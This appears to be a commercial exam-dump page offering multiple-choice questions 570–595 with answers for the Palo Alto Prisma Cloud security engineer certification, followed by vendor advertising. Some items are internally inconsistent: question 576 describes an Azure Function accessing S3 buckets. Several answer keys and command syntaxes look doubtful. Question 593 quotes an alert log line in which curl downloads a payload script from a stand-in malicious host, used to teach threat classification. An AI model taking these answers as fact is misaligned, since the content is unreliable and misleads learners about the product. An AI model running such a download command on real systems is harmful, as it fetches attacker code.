Up-to-date Questions and Answers from authentic resources to improve knowledge and pass the exam at very first attempt. ----- Guaranteed.

PCCSE MCQs
PCCSE TestPrep
PCCSE Study Guide
PCCSE Practice Test
PCCSE Exam Questions

killexams.com

Palo-Alto

PCCSE

Prisma Certified Cloud Security Engineer - 202

ORDER FULL VERSION

https://killexams.com/pass4sure/exam-detail/PCCSE

Question: 570

Consider the following Sentinel policy snippet used to enforce a tagging policy in Terraform:

```
import "tfplan/v2" as tfplan
main = rule {
all tfplan.resource_changes as rc {
rc.change.after.tags["Environment"] is not null
}
}
```

What will this policy enforce?

A. Resources without an "Environment" tag are deleted
B. Only resources with an "Environment" tag can be created
C. All resources must have an "Environment" tag defined after the Terraform apply
D. The policy ignores resources without tags

Answer: C

Explanation: The policy iterates over all resource changes and requires that after the change, the "Environment" tag is not null, meaning all resources must have this tag defined. It does not prevent creation, delete resources, or ignore untagged resources.

Question: 571

Which Prisma Cloud capability allows you to track configuration changes over time for cloud assets?

A. Container image scanning
B. Runtime defense
C. Serverless function audit logs
D. Asset configuration history

Answer: D

Explanation: Asset configuration history tracks changes in cloud resource configurations over time, aiding compliance and forensic investigations. Runtime defense and serverless logs provide runtime visibility, while image scanning inspects static images.

Question: 572

A DevOps engineer uses Prisma Cloud’s RBAC to restrict a team to managing only AWS EC2 instances. Which configuration is correct?

A. Create a custom role with permissions for Compute > EC2 Instances
B. Assign the Operator role with full EC2 access
C. Grant the System Admin role with an EC2 filter
D. Use the default Manager role

Answer: A

Explanation: A custom role with permissions for the Compute > EC2 Instances module in Prisma Cloud restricts the team to managing AWS EC2 instances. The Operator role may grant broader access, System Admin is too permissive, and the Manager role lacks specificity.

Question: 573

What is the primary function of Prisma Cloud's "Defender" component in a self-hosted deployment?

A. Real-time workload protection
B. Centralized policy management
C. Compliance benchmarking
D. API-based automation

Answer: A

Explanation: Defenders enforce runtime security policies directly on workloads, providing threat prevention and vulnerability monitoring.

Question: 574

A SecOps engineer is integrating Prisma Cloud with Splunk for SIEM capabilities. Which configuration ensures that Prisma Cloud alerts are correctly forwarded to Splunk?

A. Enable Splunk integration in Prisma Cloud’s AutoFocus settings
B. Set up a Splunk forwarder in Prisma Cloud Compute settings
C. Use an RQL query to push logs to Splunk via API
D. Configure a Splunk HTTP Event Collector (HEC) and enable alert forwarding in Prisma Cloud Notifications

Answer: D

Explanation: To integrate Prisma Cloud with Splunk, a Splunk HTTP Event Collector (HEC) must be configured to receive alerts, and Prisma Cloud's Notification settings must be set to forward alerts to the Splunk HEC endpoint. This ensures seamless transmission of security alerts. Other options, such as Splunk forwarders or AutoFocus settings, are not relevant to this integration process.

Question: 575

A security engineer needs to configure a RedLock policy to detect suspicious login patterns in an AWS environment. Which data source and setting are required?

A. AWS CloudTrail logs
B. Configure an anomaly policy in "Investigate > Anomalies"
C. AWS VPC Flow Logs
D. Enable Defender-based runtime protection

Answer: A, B

Explanation: RedLock uses AWS CloudTrail logs to detect suspicious login patterns, and an anomaly policy in "Investigate > Anomalies" can be configured to identify such patterns. VPC Flow Logs focus on network traffic, and Defender-based protection is unrelated to login detection.

Question: 576

A security team configures Prisma Cloud to protect a serverless function in Azure Functions. They need to ensure that the function cannot access unauthorized S3 buckets. Which configuration achieves this?

A. Deploy a Host Defender to monitor S3 access
B. Enable agentless scanning to validate S3 configurations
C. Use a compliance policy to check S3 bucket permissions
D. Configure a serverless runtime policy to restrict S3 bucket access

Answer: D

Explanation: A serverless runtime policy in Prisma Cloud can restrict the Azure Function's access to unauthorized S3 buckets by enforcing specific permissions during execution. Host Defenders are not applicable to serverless. Compliance policies check configurations, not runtime access. Agentless scanning assesses infrastructure, not runtime restrictions.

Question: 577

A DevOps engineer needs to configure a Twistlock policy to block a container running the image "malicious:latest" if it attempts to execute a process named "crypto_miner". Which configuration steps are required?

A. Create a runtime policy in "Defend > Runtime > Container" and add "crypto_miner" to the denied process list
B. Set the policy action to "Prevent" for the specified image
C. Use a vulnerability scanning policy to detect "malicious:latest"
D. Configure a custom compliance rule for process monitoring

Answer: A, B

Explanation: A runtime policy in "Defend > Runtime > Container" with "crypto_miner" in the denied process list and the action set to "Prevent" will block the container from executing the specified process. Vulnerability scanning and compliance rules do not address runtime process blocking.

Question: 578

A security engineer wants to implement tokenization to protect sensitive credit card information in a cloud application. Which of the following best describes how tokenization differs from data masking?

A. Data masking replaces data with random characters without preserving format
B. Data masking encrypts data in transit using TLS
C. Tokenization encrypts data at rest using customer-managed keys
D. Tokenization replaces sensitive data with non-sensitive tokens that can be mapped back to the original data

Answer: D

Explanation: Tokenization replaces sensitive data with tokens that are non-sensitive but can be mapped back to the original data securely when needed. Data masking obscures data by replacing it with altered values, often irreversible, to protect it in non-production environments. Encryption protects data at rest or in transit but is different from tokenization and masking.

Question: 579

How does Prisma Cloud integrate with Jenkins for image scanning?

A. Through twistcli CLI in build pipelines
B. Via Jenkins plugins using REST APIs
C. Using webhook-based notifications
D. Via Kubernetes operators

Answer: A

Explanation: twistcli integrates into CI/CD pipelines (e.g., Jenkins) to scan images before deployment.

Question: 580

An organization automates remediation for GCP Compute Engine instances with open firewall rules using Prisma Cloud. Which Python script snippet using the Google Cloud SDK remediates this issue?

A. from google.cloud import compute_v1
client = compute_v1.InstancesClient()
client.stop(project='my-project', zone='us-central1-a', instance='my-instance')
B. from google.cloud import compute_v1
client = compute_v1.FirewallsClient()
client.delete(project='my-project', firewall='my-firewall')
C. from google.cloud import compute_v1
client = compute_v1.FirewallsClient()
firewall = client.get(project='my-project', firewall='my-firewall')
firewall.allowed = [compute_v1.AllowedRule(ip_protocol='tcp', ports=['22', '3389'])]
client.update(project='my-project', firewall='my-firewall', firewall_resource=firewall)
D. from google.cloud import compute_v1
client = compute_v1.FirewallsClient()
firewall = client.get(project='my-project', firewall='my-firewall')
firewall.allowed = [compute_v1.AllowedRule(ip_protocol='tcp', ports=['80'])]
client.update(project='my-project', firewall='my-firewall', firewall_resource=firewall)

Answer: D

Explanation: To remediate open firewall rules, the script should update the firewall to allow only specific ports (e.g., HTTP on port 80). The correct script uses the Google Cloud SDK to modify the firewall rule’s allowed field. Deleting the firewall may disrupt connectivity, allowing SSH and RDP ports opens more access, and stopping an instance doesn’t address firewall rules.

Question: 581

In a multi-cloud environment, a DevOps team needs to ensure that a Cloud Workload Protection (CWP) policy prevents unauthorized processes in a Kubernetes cluster. Which configuration in Prisma Cloud Compute ensures runtime protection for this scenario?

A. Set up a vulnerability scanning policy under "Monitor > Vulnerabilities"
B. Enable auto-scaling for Defenders in the Kubernetes cluster
C. Configure a runtime policy in "Defend > Runtime > Container" with a denied process list
D. Use the twistcli tool to scan container images during CI/CD

Answer: C

Explanation: A runtime policy in "Defend > Runtime > Container" allows administrators to define a denied process list, preventing unauthorized processes from running in Kubernetes containers. Auto-scaling Defenders ensures coverage but doesn't address process control. Vulnerability scanning and twistcli scans focus on image vulnerabilities, not runtime process enforcement.

Question: 582

A policy violation occurs due to an unencrypted S3 bucket. Which alert state is assigned?

A. Open
B. Resolved
C. Snoozed
D. Dismissed

Answer: A

Explanation: New violations enter the "Open" state until remediated.

Question: 583

A security engineer notices a drift in an AWS Lambda function's configuration, where an environment variable was modified to expose sensitive data. How can Prisma Cloud detect this drift?

A. Use a Config RQL query to monitor Lambda function changes
B. Enable Workload Protection with runtime scanning
C. Configure a compliance policy for Lambda environment variables

D. Use Cloud Discovery to scan for Lambda misconfigurations

Answer: A

Explanation: Prisma Cloud can detect configuration drift in AWS Lambda functions using a Config RQL query (e.g., config from cloud.resource where api.name = 'aws-lambda-function' AND json.rule = environment.variables changed). This monitors changes to environment variables. Workload Protection is for containers, compliance policies focus on standards, and Cloud Discovery is for asset discovery, not drift detection.

Question: 584

Analyze the following Prisma Cloud alert JSON snippet for a suspicious login event:

{
"alertType": "UserLoginAnomaly",
"user": "jdoe@example.com",
"sourceIP": "203.0.113.45",
"geoLocation": "CountryX",
"loginTime": "2026-06-27T08:15:00Z",
"anomalyScore": 87
}

Which automated response action should be triggered based on this alert?

A. Block user account immediately
B. Notify security team and log the event for further analysis
C. Initiate multi-factor authentication challenge for the user
D. Disable source IP address in firewall rules

Answer: C

Explanation: An anomaly score of 87 indicates high suspicion but not confirmed compromise. Initiating a multi-factor authentication challenge adds a verification step without immediately blocking the user, balancing security and usability. Immediate blocking or IP disabling may be premature without further evidence.

Question: 585

Which of the following best describes the principle of least privilege as applied in Prisma Cloud IAM configurations?

A. All users are given administrative privileges to avoid access issues
B. Users and service accounts are granted only the permissions necessary to perform their tasks
C. Permissions are assigned globally to simplify management
D. Service accounts have unrestricted access for automation purposes

Answer: B

Explanation:
The principle of least privilege restricts users and service accounts to only the permissions they need to perform their functions, minimizing risk. Granting excessive or global permissions increases security exposure.

Question: 586

What is the default TCP port used by Defender agents to communicate with the Prisma Cloud Console?

A. 8080
B. 8084
C. 443
D. 8443

Answer: B

Explanation: Defender agents communicate with the Console over TCP port 8084 by default.

Question: 587

A security engineer is configuring a CSPM policy to detect exposed AWS RDS instances. The policy must alert on instances with public IP addresses and non-compliant security group rules. Which configuration steps are required?

A. Deploy Defenders to RDS instances for runtime protection
B. Enable RedLock-based threat detection for RDS instances
C. Create a policy under "Defend > Compliance > Cloud" with conditions for public IP and security group rules
D. Use twistcli to scan RDS configurations

Answer: C

Explanation: A CSPM policy under "Defend > Compliance > Cloud" can be configured to detect RDS instances with public IPs and non-compliant security group rules. RedLock focuses on threat detection, not configuration checks. Defenders and twistcli are irrelevant for RDS instance monitoring.

Question: 588

Which Prisma Cloud feature allows you to define infrastructure security policies as code and integrate them into your CI/CD pipeline?

A. Policy as Code (PAC)
B. Cloud Security Posture Management (CSPM)
C. Cloud Workload Protection (CWP)
D. Network Security Module

Answer: A

Explanation: Policy as Code (PAC) allows defining security policies in code (e.g., Terraform, Sentinel) and integrating them into CI/CD pipelines for automated enforcement. CSPM manages posture, CWP protects workloads, and Network Security Module manages network controls.

Question: 589

An enterprise has deployed Prisma Cloud Compute to protect containerized workloads on AWS EKS. During a security audit, the team identifies a container running with elevated privileges, which violates their security policy. Which Prisma Cloud Compute feature and setting should be configured to prevent this in the future?

A. Compliance Policies, setting "Block Privileged Containers" to true
B. Vulnerability Management, configuring "Deny High-Risk Images"
C. Runtime Protection, enabling "Prevent Privilege Escalation"
D. Access Control, restricting container IAM roles

Answer: C

Explanation: Runtime Protection in Prisma Cloud Compute, specifically the "Prevent Privilege Escalation" setting, is designed to block containers from running with elevated privileges, addressing the audit finding. This feature monitors container runtime behavior and enforces policies to prevent privilege escalation. Compliance Policies focus on static checks, Vulnerability Management targets image vulnerabilities, and Access Control manages IAM roles, not container privileges.

Question: 590

A cloud security engineer is reviewing a Prisma Cloud policy that denies inbound traffic from specified countries using a network list. Which Prisma Cloud feature allows defining such geographic IP restrictions?

A. Compliance policies with geographic conditions
B. RBAC scoped by geography
C. Network lists with country IP ranges
D. Alert rules with geographic IP match

Answer: C

Explanation:
Network lists can be configured with IP ranges corresponding to specific countries, enabling policies and alerts to restrict or monitor traffic based on geographic origin. RBAC and compliance policies do not handle geographic IP restrictions directly.

Question: 591

Scenario: A security engineer configures Prisma Cloud to scan container images for sensitive data before deployment. Which command syntax correctly performs this scan using Twistcli?

A. twistcli images scan -u api -p api --address https://cloud.twistlock.com myimage/latest --container
B. twistcli images scan --docker-address https://cloud.twistlock.com myimage/latest
C. twistcli images scan -u api -p api --docker-address https://cloud.twistlock.com myimage/latest
D. twistcli images scan -u api -p api --address https://cloud.twistlock.com --details myimage/latest

Answer: D

Explanation: The correct syntax includes user (-u), password (-p), address of the Prisma Cloud console, and the image name with the --details flag to perform a detailed scan. The other options misuse flags or omit necessary parameters.

Question: 592

Which of the following best describes Cloud Data Security Posture Management (DSPM) in Prisma Cloud?

A. Tokenization of sensitive data in databases
B. Encryption of data at rest using customer-managed keys
C. Continuous discovery, classification, and risk assessment of data across cloud environments
D. Masking data in API responses

Answer: C

Explanation: DSPM provides continuous discovery, classification, and risk assessment of data stored in cloud environments to improve data security posture. Encryption, tokenization, and masking are data protection techniques but are not posture management.

Question: 593

A Prisma Cloud Compute alert shows the following log excerpt:
Process: /usr/bin/curl Command: curl http://malicious.example.com/payload.sh
Which MITRE ATT&CK technique does this represent?
A. T1059 - Command and Scripting Interpreter
B. T1204 - User Execution
C. T1071 - Application Layer Protocol
D. T1105 - Ingress Tool Transfer

Answer: D

Explanation: The command downloads a payload from an external server, which is characteristic of Ingress Tool Transfer (T1105). Command and Scripting Interpreter (T1059) relates to execution of scripts, Application Layer Protocol (T1071) relates to communication channels, and User Execution (T1204) involves tricking users to run code.

Question: 594

What Prisma Cloud feature maps multi-cloud resources to GDPR requirements?

A. Compliance standard with GDPR template
B. DSPM with data classification rules
C. Custom policy for data residency
D. Infinity Graph with GDPR framework

Answer: D

Explanation: The Infinity Graph visually maps resources to GDPR controls.

Question: 595

A cybersecurity architect is implementing PAM for an Azure privileged account. Which Prisma Cloud feature restricts access to specific times of day?

A. Time-based access policies in the IAM Security module
B. Anomaly detection with time-based triggers
C. Compliance policies for privileged accounts
D. Network policies with time restrictions

Answer: A

Explanation: Prisma Cloud’s IAM Security module supports time-based access policies to restrict privileged account access to specific times of day, enhancing PAM controls. Anomaly detection, compliance policies, and network policies do not provide time-based access restrictions.

KILLEXAMS.COM

Killexams.com is a leading online platform specializing in high-quality certification exam preparation. Offering a robust suite of tools, including MCQs, practice tests, and advanced test engines, Killexams.com empowers candidates to excel in their certification exams. Discover the key features that make Killexams.com the go-to choice for exam success.

Exam Questions:

Killexams.com provides exam questions that are experienced in test centers. These questions are updated regularly to ensure they are up-to-date and relevant to the latest exam syllabus. By studying these questions, candidates can familiarize themselves with the content and format of the real exam.

Exam MCQs:

Killexams.com offers exam MCQs in PDF format. These questions contain a comprehensive collection of questions and answers that cover the exam topics. By using these MCQs, candidate can enhance their knowledge and improve their chances of success in the certification exam.

Practice Test:

Killexams.com provides practice test through their desktop test engine and online test engine. These practice tests simulate the real exam environment and help candidates assess their readiness for the actual exam. The practice test cover a wide range of questions and enable candidates to identify their strengths and weaknesses.

Guaranteed Success:

Killexams.com offers a success guarantee with the exam MCQs. Killexams claim that by using this materials, candidates will pass their exams on the first attempt or they will get refund for the purchase price. This guarantee provides assurance and confidence to individuals preparing for certification exam.

Updated Contents:

Killexams.com regularly updates its question bank of MCQs to ensure that they are current and reflect the latest changes in the exam syllabus. This helps candidates stay up-to-date with the exam content and increases their chances of success.